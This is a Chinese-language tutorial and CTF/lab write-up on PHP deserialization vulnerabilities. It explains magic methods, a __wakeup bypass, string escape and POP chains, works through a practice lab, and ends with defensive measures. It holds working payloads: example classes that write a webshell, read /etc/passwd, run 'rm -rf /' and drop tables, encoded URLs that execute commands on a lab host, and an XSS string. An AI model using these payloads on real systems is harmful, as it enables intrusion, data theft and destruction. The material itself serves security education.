主要以PHP为主
什么是序列化与反序列化
序列化(serialize) 就将对象的状态信息转换为可以存储或传输的形式的过程 在序列化期间,对象将当前的状态写入到临时或持久性的存储区 【将状态信息保存为字符串】。将对象转换为字符串,以便存储或传输,简单的理解:将PHP中 对象、类、数组、变量、匿名函数等,转化为字符串,方便保存到数据库或者文件中
反序列化(unserialize) 就是把序列化之后的字符串在转化为对象。
其实这个就像游戏存档,存档就是把你游戏用户的状态和数据存储到本地或者服务器 而这个存档就是序列化,读档就是反序列化,就行单机游戏,把存档游戏里面的数据改改,就直接开挂了
序列化 (Serialization)
将对象转换为字符串的过程,便于存储或传输
<?php
class User {
public $username = 'admin';
private $password = '123456';
}
$user = new User();
$serialized = serialize($user);
echo $serialized;
// 输出: O:4:"User":2:{s:8:"username";s:5:"admin";s:15:"Userpassword";s:6:"123456";}
?>
反序列化 (Unserialization)
将字符串转换回对象的过程
<?php
$data = 'O:4:"User":2:{s:8:"username";s:5:"admin";s:15:"Userpassword";s:6:"123456";}';
$user = unserialize($data);
echo $user->username; // 输出: admin
?>
为什么会产生反序列化漏洞
当反序列化用户可控的数据时,如果类中存在魔术方法,攻击者可以构造恶意序列化数据来执行任意代码。通过我们的恶意篡改会产生魔法函数绕过,字符逃逸,远程命令执行等漏洞,质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击
本质上serialize()和unserialize()在PHP内部实现上是没有漏洞的,漏洞的主要产生是由于应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。当传给 unserialize() 的参数可控时,那么用户就可以注入精心构造的payload。当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。
常见语言中的反序列化函数
| 语言 | 序列化函数 | 反序列化函数 |
|---|---|---|
| PHP | serialize() | unserialize() |
| Python | pickle.dumps | pickle.loads() |
| Java | ObjectOutputStream | ObjectInputStream |
反序列化漏洞的危害
1.远程代码执行 (RCE)
执行任意系统命令
控制服务器
2.文件操作
读取敏感文件 (/etc/passwd, 配置文件)
写入Webshell
删除重要文件
信息泄露
3.获取数据库密码
窃取用户数据
读取源代码
4.权限提升
绕过身份验证
提升用户权限
5.拒绝服务 (DoS)
消耗服务器资源
导致服务崩溃
攻击者可以通过构造恶意序列化数据,在目标服务器上执行任意操作,完全控制系统。
常用工具
Java反序列化工具YSoSerial.jar
PHP反序列化工具PHPGGC
.NET反序列化工具YSoSerial.NET
PHP 魔法函数
| 魔法函数 | 调用的时机 | 在反序列化漏洞中的作用 | 示例 |
|---|---|---|---|
__construct() | 初始化类的时候,一般对于变量进行赋值 | 在反序列化时不会自动调用 | $obj = new MyClass(); |
__destruct() | 对象被销毁时触发(程序结束、unset等) | 高危 – 常用于执行恶意代码 | unset($obj); 或脚本结束时 |
__toString() | 把类当作字符串使用时触发 | 中危 – 可能触发其他危险方法 | echo $obj; 或字符串拼接 |
__wakeup() | 使用unserialize时触发,反序列化恢复对象之前调用 | 高危 – 反序列化时第一个执行的魔术方法 | unserialize($data) |
__sleep() | 使用serialize时触发,返回要序列化的属性数组 | 低危 – 主要用于控制序列化内容 | serialize($obj) |
__invoke() | 当脚本尝试将对象调用为函数时触发 | 中危 – 可能被利用执行代码 | $obj() |
__call() | 调用不可访问的方法时触发 | 中危 – 可能执行动态代码 | $obj->undefinedMethod() |
__callStatic() | 调用不可访问的静态方法时触发 | 中危 – 静态方法调用 | MyClass::undefinedMethod() |
__get() | 读取不可访问的属性时触发 | 低危 – 可能触发信息泄露 | echo $obj->undefinedProperty |
__set() | 给不可访问的属性赋值时触发 | 低危 – 可能用于属性污染 | $obj->undefinedProperty = 'value' |
__isset() | 对不可访问的属性调用isset()或empty()时触发 | 低危 – 影响属性检查 | isset($obj->undefinedProperty) |
__unset() | 对不可访问的属性调用unset()时触发 | 低危 – 影响属性删除 | unset($obj->undefinedProperty) |
序列化过程


类定义
class chybeta{
var $test = '123'; // 默认属性值
}
- 定义了一个名为
chybeta的类 - 有一个公共属性
test,默认值为'123'
序列化格式解析:
O:7:"chybeta"– O表示object对象,7表示对象名称有7个字符,”chybeta”是对象名称:1:– 表示对象有1个属性{s:4:"test";s:3:"123";}– 花括号内是属性详情s:4:"test"– s表示string字符串,4表示属性名”test”的长度s:3:"123"– s表示string字符串,3表示属性值”123″的长度
O:7:"chybeta":1:{s:4:"test";s:3:"124";}
│ │ │ │ │ │ │ │ │ │
│ │ │ │ │ │ │ │ │ └─ 属性值结束
│ │ │ │ │ │ │ │ └─ 属性值内容"124"
│ │ │ │ │ │ │ └─ 属性值长度3
│ │ │ │ │ │ └─ 属性值类型(string)
│ │ │ │ │ └─ 属性名"test"
│ │ │ │ └─ 属性名长度4
│ │ │ └─ 属性名类型(string)
│ │ └─ 属性数量1
│ └─ 类名"chybeta"
└─ 对象类型标识
反序列化过程


反序列化过程
$class2_unser = unserialize($class2);
PHP执行步骤:
- 解析字符串
O:7:"chybeta" - 找到名为
chybeta的类 - 创建
chybeta类的新实例 - 读取属性定义
{s:4:"test";s:3:"124";} - 将属性
test的值设置为"124"(覆盖默认值"123")
输出结果
print_r($class2_unser);
输出:
chybeta Object ( [test] => 124 )
漏洞利用场景
文件操作利用
<?php
class FileExploit {
public $filename = '../../etc/passwd';
public $content = '<?php system($_GET["cmd"]); ?>';
public function __destruct() {
// 文件写入
file_put_contents($this->filename, $this->content);
// 文件读取
echo file_get_contents('/etc/passwd');
// 文件删除
unlink('important_file.php');
}
}
?>
数据库操作利用
<?php
class DatabaseExploit {
public $sql = "DROP TABLE users";
public $host = 'localhost';
public $user = 'root';
public $pass = 'password';
public $dbname = 'test';
public function __wakeup() {
$conn = new mysqli($this->host, $this->user, $this->pass, $this->dbname);
$conn->query($this->sql);
}
}
?>
命令执行利用
<?php
class CommandExecution {
public $command = 'rm -rf /';
public function __destruct() {
// 直接执行命令
system($this->command);
// 通过eval执行
eval($this->command);
// 通过反引号执行
`$this->command`;
}
}
?>
1.简单的魔法函数绕过

- 漏洞原理:
__wakeup()魔法函数在反序列化时自动调用,会重置cmd值 - 绕过方法:当序列化字符串中对象属性数量大于实际数量时,
__wakeup()不会执行 - 利用payload:
<?php
class MagicBypass {
public $cmd = "cat /flag.txt"; // 或者 type D:phpstudy_proWWWflag.txt
}
echo urlencode(serialize(new MagicBypass()));
// 正常序列化:O:11:"MagicBypass":1:{s:3:"cmd";s:13:"cat /flag.txt";}
// 绕过wakeup:O:11:"MagicBypass":2:{s:3:"cmd";s:13:"cat /flag.txt";}
?>
正常URL访问就行


2.反序列化字符串逃逸

- 漏洞原理:字符串替换改变了序列化数据的结构,造成属性逃逸
- 利用方法:通过精心构造序列化字符串,使替换后的字符串长度变化,从而控制后续属性
利用payload:
<?php
class StringEscape {
public $username = 'admin";s:8:"password";s:5:"admin";s:8:"is_admin";b:1;}';
public $password = 'guest';
public $is_admin = false;
}
$payload = serialize(new StringEscape());
echo "原始payload: " . $payload . "n";
// 计算需要逃逸的字符数并进行构造
$target = '";s:8:"password";s:5:"admin";s:8:"is_admin";b:1;}';
$replace_count = 6; // "admin"被替换为"guest"减少的字符数
// 构造逃逸payload
$escape_payload = '";s:8:"password";s:5:"admin";s:8:"is_admin";b:1;}' . str_repeat('a', $replace_count);
$final_payload = 'O:12:"StringEscape":3:{s:8:"username";s:' . strlen($escape_payload) . ':"' . $escape_payload . '";s:8:"password";s:5:"guest";s:8:"is_admin";b:0;}';
echo "最终payload: " . $final_payload;
?>
http://192.168.11.1/case1.php?sanjiu=O:12:%22StringEscape%22:3:{s:8:%22username%22;s:65:%22admin%22;s:8:%22password%22;s:5:%22admin%22;s:8:%22is_admin%22;b:1;}aaaaaaaa%22;s:8:%22password%22;s:5:%22guest%22;s:8:%22is_admin%22;b:0;}

3.POP链挖掘

- POP链原理:通过连接多个类的魔法函数形成攻击链
- 链式调用:User::wakeup() → FileReader::toString() → file_get_contents()
利用payload:
<?php
class FileReader {
public $filename = '/flag.txt';
}
class Logger {
public $log_message;
}
class User {
public $username = 'admin';
public $profile;
}
// 构造POP链
$user = new User();
$user->profile = new FileReader();
$logger = new Logger();
$logger->log_message = $user->profile;
echo urlencode(serialize($logger));
?>


构造的payload
具体利用方式不同其实还有
- 类型混淆:在反序列化过程中,如果程序期望一种类型但实际上得到另一种类型,可能导致逻辑错误,进而被利用。
- 注入攻击:反序列化过程中可能注入恶意对象,从而触发魔法函数中的危险操作。
靶场

代码中的System类在__destruct方法中使用了passthru($this->cmd),这意味着如果我们可以控制$cmd属性,就能执行任意系统命令。通过向data参数传递一个序列化的System对象,我们可以触发命令执行。
代码审计:
System类有一个cmd属性,在__destruct方法中,如果cmd存在且非空,则使用passthru执行该命令。- 代码检查
$_GET['data'],如果存在,则对其进行反序列化。这允许我们通过控制data参数来实例化一个System对象。 - 当脚本结束或对象被销毁时,
__destruct方法会被调用,从而执行命令。
利用思路:
- 构造一个序列化的
System对象,其中cmd属性设置为要执行的系统命令(如列出目录或读取flag文件)。 - 将序列化字符串URL编码后作为
data参数的值发送到目标URL。
漏洞利用过程
确认环境
首先尝试执行一个简单的命令,确认漏洞存在:
Payload生成:
<?php
class System {
public $cmd;
}
$obj = new System();
$obj->cmd = "whoami";
echo serialize($obj);
?>

URL访问
http://81.70.244.177:34290/?data=O%3A6%3A%22System%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A6%3A%22whoami%22%3B%7D

结果: 返回www-data,确认命令执行成功。
查看目录内容
查看当前目录有哪些文件:
Payload生成:
<?php
class System {
public $cmd;
}
$obj = new System();
$obj->cmd = "ls -la";
echo serialize($obj);
?>

http://81.70.244.177:34290/?data=O%3A6%3A%22System%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A5%3A%22ls+-la%22%3B%7D
尝试直接读取flag
尝试使用系统命令直接读取flag:
Payload生成:

URL:
http://81.70.244.177:34290/?data=O%3A6%3A%22System%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A11%3A%22cat+flag.txt%22%3B%7D
发现没有回显

可能没有输出或输出被过滤。
使用PHP代码读取文件
Payload生成:
<?php
class System {
public $cmd;
}
$obj = new System();
$obj->cmd = "php -r 'echo file_get_contents("flag.txt");'";
echo serialize($obj);
?>

URL:
http://81.70.244.177:34290/?data=O%3A6%3A%22System%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A44%3A%22php+-r+%27echo+file_get_contents%28%22flag.txt%22%29%3B%27%22%3B%7D

成功得到flag
Pikachu 漏洞练习平台

在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数。
序列化serialize()
序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:
class S{
public $test="pikachu";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化
序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O:代表object
1:代表对象名字长度为一个字符
S:对象的名称
1:代表对象里面有一个变量
s:数据类型
4:变量名称的长度
test:变量名称
s:数据类型
7:变量值的长度
pikachu:变量值
反序列化unserialize()
就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的结果为pikachu
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题
常见的几个魔法函数:
__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup将在序列化之后立即被调用
漏洞举例:
class S{
var $test = "pikachu";
function __destruct(){
echo $this->test;
}
}
$s = $_GET['test'];
@$unser = unserialize($a);
payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
作者在概述中已经给了payload直接使用
payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}


防御措施
1永远不要反序列化不可信的数据
2使用JSON等安全格式替代PHP序列化
3实施严格的输入验证和签名机制
4限制可反序列化的类(allowed_classes)
5在魔法函数中避免执行危险操作,过滤、禁用危险函数
6定期进行安全审计和代码审查
7使用Web应用防火墙检测恶意序列化数据
8过滤T3协议或限定可连接的IP
9设置Nginx反向代理,实现t3协议和http协议隔离
